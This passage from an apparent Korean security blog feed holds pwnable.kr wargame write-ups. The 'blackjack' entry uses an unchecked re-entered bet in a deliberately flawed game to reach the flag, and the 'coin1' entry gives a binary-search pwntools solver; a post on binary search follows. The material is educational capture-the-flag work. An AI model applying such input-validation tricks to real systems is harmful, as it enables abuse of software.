&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;또한 문제 지문에서 백만 달러가 되면, flag를 얻을 수 있는 것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&lt;b&gt;2. 코드 분석&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;코드 중 play함수를 중점으로 살펴봐야 한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;함수 이름 그대로, 게임 실행에 중점이 되는 함수가 play함수이다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1647366306683&quot; class=&quot;cs&quot; data-ke-language=&quot;cs&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;void play() //Plays game
{
     
     int p=0; // holds value of player_total
     int i=1; // counter for asking user to hold or stay (aka game turns)
     char choice3;
     
     cash = cash;
     cash_test(); // 파산인지 확인하는 함수.
     printf(&quot;\nCash: $%d\n&quot;,cash); //Prints amount of cash user has

     randcard(); //Generates random card
     
     player_total = p + l; //Computes player total
     p = player_total;
     
     printf(&quot;\nYour Total is %d\n&quot;, p); //Prints player total
     dealer(); // 딜러의 수를 구해오는 함수.
     betting(); // cash 베팅.
       
     while(i&amp;lt;=21) //While loop used to keep asking user to hit or stay at most twenty-one times
                  //  because there is a chance user can generate twenty-one consecutive 1's
     {
         if(p==21) //If user total is 21, win
         {
             printf(&quot;\nUnbelievable! You Win!\n&quot;);
             won = won+1;
             cash = cash+bet;
             printf(&quot;\nYou have %d Wins and %d Losses. Awesome!\n&quot;, won, loss);
             dealer_total=0;
             askover();
         }
     
         if(p&amp;gt;21) //If player total is over 21, loss
         {
             printf(&quot;\nWoah Buddy, You Went WAY over.\n&quot;);
             loss = loss+1;
             cash = cash - bet;
             printf(&quot;\nYou have %d Wins and %d Losses. Awesome!\n&quot;, won, loss);
             dealer_total=0;
             askover();
         }
     
         if(p&amp;lt;=21) //If player total is less than 21, ask to hit or stay
         {         
             printf(&quot;\n\nWould You Like to Hit or Stay?&quot;);
             
             scanf(&quot;%c&quot;, &amp;amp;choice3);
             while((choice3!='H') &amp;amp;&amp;amp; (choice3!='h') &amp;amp;&amp;amp; (choice3!='S') &amp;amp;&amp;amp; (choice3!='s')) // If invalid choice entered
	         {                                                                           
                 printf(&quot;\n&quot;);
		         printf(&quot;Please Enter H to Hit or S to Stay.\n&quot;);
		         scanf(&quot;%c&quot;,&amp;amp;choice3);
	         }


	         if((choice3=='H') || (choice3=='h')) // If Hit, continues
	         { 
                 randcard();
                 player_total = p + l;
                 p = player_total;
                 printf(&quot;\nYour Total is %d\n&quot;, p);
                 dealer();
                  if(dealer_total==21) //Is dealer total is 21, loss
                  {
                      printf(&quot;\nDealer Has the Better Hand. You Lose.\n&quot;);
                      loss = loss+1;
                      cash = cash - bet;
                      printf(&quot;\nYou have %d Wins and %d Losses. Awesome!\n&quot;, won, loss);
                      dealer_total=0;
                      askover();
                  } 
     
                  if(dealer_total&amp;gt;21) //If dealer total is over 21, win
                  {                      
                      printf(&quot;\nDealer Has Went Over!. You Win!\n&quot;);
                      won = won+1;
                      cash = cash+bet;
                      printf(&quot;\nYou have %d Wins and %d Losses. Awesome!\n&quot;, won, loss);
                      dealer_total=0;
                      askover();
                  }
             }

             if((choice3=='S') || (choice3=='s')) // If Stay, does not continue
             {
                printf(&quot;\nYou Have Chosen to Stay at %d. Wise Decision!\n&quot;, player_total);
                stay();
             }
          }
             i++; //While player total and dealer total are less than 21, re-do while loop 
     } // End While Loop
} // End Function&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;play함수를 큰 범위로 정리하면, 아래와 같다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&amp;nbsp; 1. 함수 호출 : cash_test( ), randcard( ), dealer( ), betting( )&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; ① cash_test() : 파산인지 확인하는 함수.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; ② randcard() : 랜덤한 값으로 player total값을 구해오는 함수.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; ③ dealer() :&amp;nbsp; 랜덤한 값으로 dealer total값을 구해오는 함수.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; ④ betting() : 사용자가 게임에 베팅할 돈을 입력하는 함수.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&amp;nbsp; 2. 호출 외 코드 : 크게는 win, loss, Hit, Stay관련 소스코드이다.&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;호출하는 함수 중 betting코드를 살펴보면, 이상한 부분을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1647366355969&quot; class=&quot;cs&quot; data-ke-language=&quot;cs&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;int betting() -
{
 printf(&quot;\n\nEnter Bet: $&quot;);
 scanf(&quot;%d&quot;, &amp;amp;bet);

 if (bet &amp;gt; cash) //If player tries to bet more money than player has
 {
		printf(&quot;\nYou cannot bet more money than you have.&quot;);
		printf(&quot;\nEnter Bet: &quot;);
        scanf(&quot;%d&quot;, &amp;amp;bet);
        return bet;
 }
 else return bet;
} // End Function&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;코드에서 cash는 현재 갖고 있는 돈의&amp;nbsp;값을 저장하고 있는 변수이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;여기서 이상한 부분은 처음 입력받아온 bet이 cash보다 큰지 확인하는 조건문은 있지만,&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;다시 입력받아온 bet에 해당되는 조건문은 존재하지 않는 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;즉, 처음에는 bet값이 cash보다 크면 조건문에 걸리지만 &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;다시 한 번 입력받아온 값은 cash보다 커도 조건문이 존재하지 않기 때문에 문제가 발생하지 않는다.&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&lt;b&gt;3. 풀이&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;문제 지문에 적혀있듯이, flag는 백만 달러가 되면 얻을 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;그렇기 때문에 betting함수의 결함을 이용해서, 1000000 이상의 값을 두 번 입력하면 flag획득이 가능하다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;809&quot; data-origin-height=&quot;681&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dfxvQy/btrv6YwQIUw/KnGnYjKs9rfkHEIV2KaSnK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dfxvQy/btrv6YwQIUw/KnGnYjKs9rfkHEIV2KaSnK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dfxvQy/btrv6YwQIUw/KnGnYjKs9rfkHEIV2KaSnK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdfxvQy%2Fbtrv6YwQIUw%2FKnGnYjKs9rfkHEIV2KaSnK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;809&quot; height=&quot;681&quot; data-origin-width=&quot;809&quot; data-origin-height=&quot;681&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&lt;b&gt;4. flag 획득.&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1087&quot; data-origin-height=&quot;761&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cHX6M5/btrv3fGz9JE/EjBFlkD6qRnWkeW2B1TPUk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cHX6M5/btrv3fGz9JE/EjBFlkD6qRnWkeW2B1TPUk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cHX6M5/btrv3fGz9JE/EjBFlkD6qRnWkeW2B1TPUk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcHX6M5%2Fbtrv3fGz9JE%2FEjBFlkD6qRnWkeW2B1TPUk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1087&quot; height=&quot;761&quot; data-origin-width=&quot;1087&quot; data-origin-height=&quot;761&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;Bye~~ (*￣3￣)╭&lt;/span&gt;&lt;/p&gt;</description>
      <category>War game/pwnable.kr</category>
      <category>blackjack</category>
      <category>blackjack writeup</category>
      <category>blackjack 공식</category>
      <category>blackjack 코드</category>
      <category>blackjack 풀이</category>
      <category>pwn blackjack</category>
      <category>pwnable blackjack</category>
      <category>pwnable.kr blackjack</category>
      <category>조건문</category>
      <category>코드결함</category>
      <author>power-girl0-0</author>
      <guid isPermaLink="true">https://power-girl0-0.tistory.com/561</guid>
      <comments>https://power-girl0-0.tistory.com/561#entry561comment</comments>
      <pubDate>Wed, 16 Mar 2022 02:56:31 +0900</pubDate>
    </item>
    <item>
      <title>[pwnable] coin1 풀이</title>
      <link>https://power-girl0-0.tistory.com/560</link>
      <description>&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;안녕하세용!! *^____^*&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&lt;b&gt;1. 문제&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;이번 문제에서는 nc 접속 정보를 주고, 접속 시 위조지폐 찾는 게임이 시작된다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;899&quot; data-origin-height=&quot;762&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b3VdEi/btrvu2Ix3We/KDYMMWTPnHy3eGzEISenlk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b3VdEi/btrvu2Ix3We/KDYMMWTPnHy3eGzEISenlk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b3VdEi/btrvu2Ix3We/KDYMMWTPnHy3eGzEISenlk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb3VdEi%2Fbtrvu2Ix3We%2FKDYMMWTPnHy3eGzEISenlk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;899&quot; height=&quot;762&quot; data-origin-width=&quot;899&quot; data-origin-height=&quot;762&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&lt;b&gt;2. 풀이&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;위 문제를 봤을 때, 조건은 아래와 같다.&lt;/span&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 180px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 180px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 180px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&lt;br /&gt;&amp;nbsp; 1. 가짜 동전을 100번 찾아야함.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&amp;nbsp; 2. N이 동전개수이고, c가 시도 횟수를 의미함.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&amp;nbsp; 3. 위조지폐 맞출 때마다, n과 c는 새로운 값을 갖고 있음.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&amp;nbsp; 4. input으로 인덱스를 순서대로 넣었을 시,&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;무게의 합산으로 output됨.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&amp;nbsp; 5. 인덱스 0부터 시작임.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&amp;nbsp; 6. 위조지폐의 무게만 9값을 가지고 있음.&lt;br /&gt;&amp;nbsp; 7. 시간제한이 존재함.&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;즉, 해결방안은 아래와 같다.&lt;/span&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&amp;nbsp; 1. 이진탐색을 이용해서, 시간을 절약한다.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;( 참고 :&amp;nbsp;&lt;a style=&quot;color: #000000;&quot; href=&quot;https://power-girl0-0.tistory.com/559?category=777937&quot;&gt;https://power-girl0-0.tistory.com/559?category=777937&lt;/a&gt;&amp;nbsp;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&amp;nbsp; 2. 추출된 무게 합산을 나누기 10했을 때,&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;나머지가 0인 경우 위조지폐가 없고, 나머지가 9인 경우 위조지폐가 존재함을 알 수 있다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;이어서, 4번 pwntool을 보도록 하자!&lt;/span&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&lt;b&gt;3. 풀기 전, 시도&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&lt;b&gt;(1) 시도&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;c언어로 9가 존재하는 인덱스를 찾아 추출하는 코드를 작성해보았다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1646931887184&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;

int main(){

	int a[] = {10,10,10,10,10,10,10,10,10,10,10,10,10,9,10,10,10};
	int key = 9;
	int start = 0;
	int end = (sizeof(a)/sizeof(int))-start;
	int mid = 0;

	while((a[mid])!= key){
		mid = (end+start)/2;
		printf(&quot;  mid index : %d, num : %d\n&quot;,mid, a[mid]);
        
        int extra = 0;
		int num = 0;

        for(int i=start; i&amp;lt;mid; i++){
            num+=a[i];
        }
        printf(&quot;  plus num : %d\n\n&quot;, num);

        if((num%10)==0){
            start = mid;
        }else{
            end = mid;   
        }
	}
	printf(&quot;\n  find %d key index : %d\n&quot;, a[mid], mid);

	return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&lt;b&gt;(2) 실행결과&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;410&quot; data-origin-height=&quot;430&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rhUiw/btrvE5qlvdi/3deRe9WbF067lMLGuRovek/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rhUiw/btrvE5qlvdi/3deRe9WbF067lMLGuRovek/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rhUiw/btrvE5qlvdi/3deRe9WbF067lMLGuRovek/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrhUiw%2FbtrvE5qlvdi%2F3deRe9WbF067lMLGuRovek%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;410&quot; height=&quot;430&quot; data-origin-width=&quot;410&quot; data-origin-height=&quot;430&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&lt;b&gt;4. pwntool을 이용한 풀이&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1646931189914&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

r = remote(&quot;127.0.0.1&quot;, 9007)
r.recvuntil(&quot;- Ready? starting in 3 sec... -&quot;)

for i in range(100):

    r.recvuntil('N=')
    n = int(r.recvuntil(' '))  
    r.recvuntil('C=')
    c = int(r.recvuntil('\n'))
    print(&quot;[{}] n : {}, c : {}&quot;.format(i, n, c))

    start = 0
    end = n-1
    mid = 0

    for k in range(c):
        mid = (start+end)//2
        in_str = ''
        
        for k in range(start, mid+1):
            in_str += (str(k)+' ')

        r.sendline(in_str)
        ans = int(r.recvline())

        if (ans%10)==9:
            end = mid
        else:
            start = mid+1
    
    r.sendline(str(end))
    r.recvline()

    print(&quot;[{}] find : {}&quot;.format(i, mid)) 
    print(&quot;\n----------------------\n&quot;)

r.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;※ 참고 : 로컬보다 pwnable.kr로 원격접속해서, 코드를 실행하면 빠르게 flag를 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&lt;b&gt;5. flag 획득&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;532&quot; data-origin-height=&quot;590&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Vx3qm/btrvGbp4NWC/NG4kInxBtUCmzYFBjrNhR1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Vx3qm/btrvGbp4NWC/NG4kInxBtUCmzYFBjrNhR1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Vx3qm/btrvGbp4NWC/NG4kInxBtUCmzYFBjrNhR1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVx3qm%2FbtrvGbp4NWC%2FNG4kInxBtUCmzYFBjrNhR1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;532&quot; height=&quot;590&quot; data-origin-width=&quot;532&quot; data-origin-height=&quot;590&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;잘못되거나 부족한 부분이 있다면 댓글 남겨주세요~!&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;피드백은 언제나 환영입니다~~( &amp;bull;̀ &amp;omega; &amp;bull;́ )✧&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;</description>
      <category>War game/pwnable.kr</category>
      <category>coin1 writeup</category>
      <category>coin1 풀이</category>
      <category>pwn coin1</category>
      <category>pwn coin1 writeup</category>
      <category>pwn coin1 풀이</category>
      <category>pwnable</category>
      <category>pwnable coin1 writeup</category>
      <category>pwnable coin1 풀이</category>
      <category>pwnable.kr</category>
      <category>이진탐색</category>
      <author>power-girl0-0</author>
      <guid isPermaLink="true">https://power-girl0-0.tistory.com/560</guid>
      <comments>https://power-girl0-0.tistory.com/560#entry560comment</comments>
      <pubDate>Fri, 11 Mar 2022 02:22:14 +0900</pubDate>
    </item>
    <item>
      <title>이진 탐색 (Binary Search)</title>
      <link>https://power-girl0-0.tistory.com/559</link>
      <description>&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;wargame 풀다가, 이진 탐색을 이용한 문제라서,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;간단하게 이진 탐색 코드를 짜보았습니다.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;h3 style=&quot;text-align: left;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;1. 이진탐색이란?&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;(1) 정의&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;- 오름차순으로 정렬된 리스트에서 특정 위치를 찾는 알고리즘이다.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;- 비교 한 번할 때마다, 탐색 범위가 50%로 줄어든다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
